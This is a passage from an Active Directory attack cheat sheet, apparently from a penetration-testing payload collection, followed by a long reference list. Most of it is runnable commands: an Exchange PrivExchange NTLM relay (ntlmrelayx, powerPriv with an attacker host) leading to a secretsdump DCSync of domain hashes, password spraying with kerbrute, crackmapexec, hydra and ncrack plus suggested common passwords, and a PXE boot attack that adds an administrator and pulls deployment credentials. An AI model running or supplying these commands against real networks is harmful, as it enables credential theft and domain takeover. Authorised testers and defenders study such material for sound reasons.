escalation (using ntlmrelayx from Impacket). ```powershell ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username ``` 3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine. ```bash # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange # https://github.com/G0ldenGunSec/PowerPriv powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016 ``` 4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash ```bash python secretsdump.py xxxxxxxxxx -just-dc python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm ``` 5. Clean your mess and restore a previous state of the user's ACL ```powershell python aclpwn.py --restore ../aclpwn-20190319-125741.restore ``` Alternatively you can use the Metasploit module [`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420) ### Password spraying Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. > The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates. #### Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing. > Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771). ```powershell root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123 root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt ``` #### Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network. ```powershell crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)` ``` #### Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services. ```powershell python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP] ``` #### Using [hydra]() and [ncrack]() to target RDP services. ```powershell hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10 ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10 ``` Most of the time the best passwords to spray are : - Password1 - Welcome1 - $Companyname1 ### PXE Boot image attack PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it. - Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine. - Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry. ```powershell net user hacker Password123! /add net localgroup administrators /add hacker ``` - Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts. ```powershell # Import the module PS > Import-Module .\PowerPXE.ps1 # Start the exploit on the Ethernet interface PS > Get-PXEcreds -InterfaceAlias Ethernet PS > Get-PXECreds -InterfaceAlias « lab 0 » # Wait for the DHCP to get an address >> Get a valid IP adress >>> >>> DHCP proposal IP address: 192.168.22.101 >>> >>> DHCP Validation: DHCPACK >>> >>> IP address configured: 192.168.22.101 # Extract BCD path from the DHCP response >> Request BCD File path >>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd >>> >>> TFTP IP Address: 192.168.22.3 # Download the BCD file and extract wim files >> Launch TFTP download >>>> Transfer succeeded. >> Parse the BCD file: conf.bcd >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim >> Launch TFTP download >>>> Transfer succeeded. # Parse wim files to find interesting data >> Open LiteTouchPE_x86.wim >>>> Finding Bootstrap.ini >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$ >>>> >>>> UserID = MdtService >>>> >>>> UserPassword = Somepass1 ``` ## References * [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin) * [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf) * [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence) * [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/) * [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/) * [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html) * [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf) * [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger ](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE) * [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf) * [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/) * [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/) * [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/) * [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/) * [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/) * [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/) * [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) * [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments) * [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html) * [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html) * [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/) * [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/) * [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1) * [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/) * [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/) * [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/) * [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/) * [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/) * [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/) * [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/) * [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/) * [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/) * [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/) * [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/) * [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/) * [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/) * [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html) * [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) * [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa) * [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/) * [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/) * [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) * [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/) * [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/) * [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)